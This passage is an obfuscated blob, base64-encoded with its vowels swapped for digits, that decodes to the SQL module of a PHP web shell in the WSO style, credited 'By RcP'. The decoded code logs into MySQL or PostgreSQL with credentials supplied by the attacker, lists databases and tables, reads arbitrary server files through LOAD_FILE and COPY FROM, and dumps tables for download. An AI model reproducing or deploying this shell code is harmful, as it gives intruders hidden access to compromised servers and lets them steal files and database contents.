gLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PHNwMW4+RDRjdDQybjFyeTwvc3Axbj48L3RkPicNCiAgICAgICAgLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWQ0Y3QgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLidwMXNzd2QuZDRjIj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgIC4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1Pic7DQogICAgNWNoMiAnPC9kNHY+PGJyPic7DQogICAgd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblNxbCgpIHsNCiAgICBjbDFzcyBEYkNsMXNzIHsNCiAgICAgICAgdjFyICR0eXA1Ow0KICAgICAgICB2MXIgJGw0bms7DQogICAgICAgIHYxciAkcjVzOw0KICAgICAgICBmM25jdDQybiBEYkNsMXNzKCR0eXA1KSAgICB7DQogICAgICAgICAgICAkdGg0cy0+dHlwNSA9ICR0eXA1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIDRmKCAkdGg0cy0+bDRuayA9IEBteXNxbF9jMm5uNWN0KCRoMnN0LCQzczVyLCRwMXNzLHRyMzUpICkgcjV0M3JuIHRyMzU7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KICAgICAgICAgICAgICAgICAgICA0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7DQogICAgICAgICAgICAgICAgICAgIDRmKCAkdGg0cy0+bDRuayA9IEBwZ19jMm5uNWN0KCJoMnN0PXskaDJzdFswXX0gcDJydD17JGgyc3RbNl19IDNzNXI9JDNzNXIgcDFzc3cycmQ9JHAxc3MgZGJuMW01PSRkYm4xbTUiKSApIHI1dDNybiB0cjM1Ow0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgNGYgKEBteXNxbF9zNWw1Y3RfZGIoJGRiKSlyNXQzcm4gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gcTM1cnkoJHN0cikgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gZjV0Y2goKSB7DQogICAgICAgICAgICAkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOw0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiBAcGdfZjV0Y2hfMXNzMmMoJHI1cyk7DQogICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGw0c3REYnMoKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUgV0hFUkUgZDF0NHN0NW1wbDF0NSE9J3QnIik7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgIH0NCiAgICAgICAgZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgVEFCTEVTJyk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiczVsNWN0IHQxYmw1X24xbTUgZnIybSA0bmYycm0xdDQybl9zY2g1bTEudDFibDVzIHdoNXI1IHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJyIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIDVycjJyKCkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsXzVycjJyKCk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgICAgew0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOw0KICAgICAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgICAgICBmM25jdDQybiBsMjFkRjRsNSgkc3RyKSB7DQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICAgIHsNCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7DQogICAgICAgICAgICAgICAgICAgICRyPTFycjF5KCk7DQogICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0PSR0aDRzLT5mNXRjaCgpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICQ0WydmNGw1J107DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSB3czJhJyk7DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIGYzbmN0NDJuIGQzbXAoJHQxYmw1LCAkZnAgPSBmMWxzNSkgew0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgICB7DQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICAkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCiAgICAgICAgICAgICAgICAgICAgJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOw0KICAgICAgICAgICAgICAgICAgICAkc3FsID0gJGNyNTF0NVs2XS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdiA9PSBuM2xsKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiTlVMTCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNTRmKDRzX24zbTVyNGMoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gYCcuJHQxYmw1LidgICgnLjRtcGwyZDUoIiwgIiwgJGMybDNtbnMpLiIpIFZBTFVFUyBcblx0KCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gZjFsczU7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgIjtcblxuIik7IDVsczUgNWNoMigiO1xuXG4iKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQogICAgICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJHRoNHMtPmY1dGNoKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zID0gMXJyMXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJsM21uc1tdID0gJGs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgfTsNCiAgICAkZGIgPSBuNXcgRGJDbDFzcygkX1BPU1RbJ3R5cDUnXSk7DQogICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KICAgICAgICAkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgICRkYi0+czVsNWN0ZGIoJF9QT1NUWydzcWxfYjFzNSddKTsNCiAgICAgICAgc3c0dGNoKCRfUE9TVFsnY2gxcnM1dCddKSB7DQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiS09JOC1SIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4cicpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7DQogICAgICAgICAgICAyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PWQzbXAuc3FsIik7DQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOw0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZDNtcCgkdik7DQogICAgICAgICAgICA1eDR0Ow0KICAgICAgICB9IDVsczU0ZigkZnAgPSBAZjJwNW4oJF9QT1NUWydmNGw1J10sICd3JykpIHsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2wyczUoJGZwKTsNCiAgICAgICAgICAgIDNuczV0KCRfUE9TVFsncGEnXSk7DQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7DQogICAgfQ0KICAgIHdzMkg1MWQ1cigpOw0KICAgIDVjaDIgIg0KPGg2PlNxbCBBbDFuNCAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRydD4mI2VpaW9vOyAgQnkgUmNQICBgPC8xPjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KPGYycm0gbjFtNT0nc2YnIG01dGgyZD0ncDJzdCcgMm5zM2JtNHQ9J2ZzKHRoNHMpOyc+PHQxYmw1IGM1bGxwMWRkNG5nPSdhJyBjNWxsc3AxYzRuZz0nMCc+PHRyPg0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9U3FsPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSdxMzVyeSc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9Jyc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuIic+DQo8dGQ+PHM1bDVjdCBuMW01PSd0eXA1Jz48MnB0NDJuIHYxbDM1PSdteXNxbCcgIjsNCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPk15U3FsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ncGdzcWwnICI7DQo0ZihAJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfaDJzdCB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX2gyc3QnXSk/J2wyYzFsaDJzdCc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9oMnN0J10pKSAuIic+PC90ZD4NCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2wyZzRuIHYxbDM1PSciLiAoNW1wdHkoJF9QT1NUWydzcWxfbDJnNG4nXSk/J3IyMnQnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfbDJnNG4nXSkpIC4iJz48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfcDFzcyB2MWwzNT0nIi4gKDVtcHR5KCRfUE9TVFsnc3FsX3Axc3MnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3NxbF9wMXNzJ10pKSAuIic+PC90ZD48dGQ+IjsNCiAgICAkdG1wID0gIjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KICAgIDRmKDRzczV0KCRfUE9TVFsnc3FsX2gyc3QnXSkpew0KICAgICAgICA0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCiAgICAgICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgICAgIGMxczUgIlVURi04IjogJGRiLT5zNXRDaDFyczV0KCczdGY4Jyk7IGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KICAgICAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICAgICAgYzFzNSAiS09JOC1VIjogJGRiLT5zNXRDaDFyczV0KCdrMjQ4MycpOyBicjUxazsNCiAgICAgICAgICAgICAgICBjMXM1ICJjcDhlZSI6ICRkYi0+czV0Q2gxcnM1dCgnY3A4ZWUnKTsgYnI1MWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZGItPmw0c3REYnMoKTsNCiAgICAgICAgICAgIDVjaDIgIjxzNWw1Y3QgbjFtNT1zcWxfYjFzNT48MnB0NDJuIHYxbDM1PScnPjwvMnB0NDJuPiI7DQogICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICRkYi0+ZjV0Y2goKSkgew0KICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgIDVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuJHYxbDM1LiciICcuKCR2MWwzNT09JF9QT1NUWydzcWxfYjFzNSddPydzNWw1Y3Q1ZCc6JycpLic+Jy4kdjFsMzUuJzwvMnB0NDJuPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA1Y2gyICc8L3M1bDVjdD4nOw0KICAgICAgICB9DQogICAgICAgIDVsczUgNWNoMiAkdG1wOw0KICAgIH01bHM1DQogICAgICAgIDVjaDIgJHRtcDsNCiAgICA1Y2gyICI8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+JyAybmNsNGNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c3FsX2MyM250IHYxbDM1PScybiciIC4gKDVtcHR5KCRfUE9TVFsnc3FsX2MyM250J10pPycnOicgY2g1Y2s1ZCcpIC4gIj4gYzIzbnQgdGg1IG4zbWI1ciAyZiByMndzPC90ZD4NCiAgICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdDFibDU+DQogICAgICAgIDxzY3I0cHQ+DQogICAgICAgICAgICBzX2RiPSciLkAxZGRzbDFzaDVzKCRfUE9TVFsnc3FsX2IxczUnXSkuIic7DQogICAgICAgICAgICBmM25jdDQybiBmcyhmKSB7DQogICAgICAgICAgICAgICAgNGYoZi5zcWxfYjFzNS52MWwzNSE9c19kYikgeyBmLjJuczNibTR0ID0gZjNuY3Q0Mm4oKSB7fTsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wNikgZi5wNi52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wYSkgZi5wYS52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICAgICAgNGYoZi5wbykgZi5wby52MWwzNT0nJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmM25jdDQybiBzdCh0LGwpIHsNCiAgICAgICAgICAgICAgICBkLnNmLnA2LnYxbDM1ID0gJ3M1bDVjdCc7DQogICAgICAgICAgICAgICAgZC5zZi5wYS52MWwzNSA9IHQ7DQogICAgICAgICAgICAgICAgNGYobCAmJiBkLnNmLnBvKSBkLnNmLnBvLnYxbDM1ID0gbDsNCiAgICAgICAgICAgICAgICBkLnNmLnMzYm00dCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZjNuY3Q0Mm4gNHMoKSB7DQogICAgICAgICAgICAgICAgZjJyKDQ9MDs0PGQuc2YuNWw1bTVudHNbJ3RibFtdJ10ubDVuZ3RoOysrNCkNCiAgICAgICAgICAgICAgICAgICAgZC5zZi41bDVtNW50c1sndGJsW10nXVs0XS5jaDVjazVkID0gIWQuc2YuNWw1bTVudHNbJ3RibFtdJ11bNF0uY2g1Y2s1ZDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgPC9zY3I0cHQ+IjsNCiAgICA0Zig0c3M1dCgkZGIpICYmICRkYi0+bDRuayl7DQogICAgICAgIDVjaDIgIjxici8+PHQxYmw1IHc0ZHRoPTYwMCUgYzVsbHAxZGQ0bmc9YSBjNWxsc3AxYzRuZz0wPiI7DQogICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydzcWxfYjFzNSddKSl7DQogICAgICAgICAgICAgICAgJGRiLT5zNWw1Y3RkYigkX1BPU1RbJ3NxbF9iMXM1J10pOw0KICAgICAgICAgICAgICAgIDVjaDIgIjx0cj48dGQgdzRkdGg9NiBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI2VlZTsnPjxzcDFuPlQxYmw1czo8L3NwMW4+PGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICR0YmxzX3I1cyA9ICRkYi0+bDRzdFQxYmw1cygpOw0KICAgICAgICAgICAgICAgIHdoNGw1KCQ0dDVtID0gJGRiLT5mNXRjaCgkdGJsc19yNXMpKSB7DQogICAgICAgICAgICAgICAgICAgIGw0c3QoJGs1eSwgJHYxbDM1KSA9IDUxY2goJDR0NW0pOw0KICAgICAgICAgICAgICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydzcWxfYzIzbnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZjV0Y2goJGRiLT5xMzVyeSgnU0VMRUNUIENPVU5UKCopIDFzIG4gRlJPTSAnLiR2MWwzNS4nJykpOw0KICAgICAgICAgICAgICAgICAgICAkdjFsMzUgPSBodG1sc3A1YzQxbGNoMXJzKCR2MWwzNSk7DQogICAgICAgICAgICAgICAgICAgIDVjaDIgIjxuMmJyPjw0bnAzdCB0eXA1PSdjaDVja2IyeCcgbjFtNT0ndGJsW10nIHYxbDM1PSciLiR2MWwzNS4iJz4mbmJzcDs8MSBocjVmPSMgMm5jbDRjaz1cInN0KCciLiR2MWwzNS4iJyw2KVwiPiIuJHYxbDM1LiI8LzE+IiAuICg1bXB0eSgkX1BPU1RbJ3NxbF9jMjNudCddKT8nJm5ic3A7JzoiIDxzbTFsbD4oeyRuWyduJ119KTwvc20xbGw+IikgLiAiPC9uMmJyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA1Y2gyICI8NG5wM3QgdHlwNT0nY2g1Y2tiMngnIDJuY2w0Y2s9JzRzKCk7Jz4gPDRucDN0IHR5cDU9YjN0dDJuIHYxbDM1PSdEM21wJyAybmNsNGNrPSdkMmMzbTVudC5zZi5wYS52MWwzNT1cImQyd25sMjFkXCI7ZDJjM201bnQuc2YuczNibTR0KCk7Jz48YnI+RjRsNSBwMXRoOjw0bnAzdCB0eXA1PXQ1eHQgbjF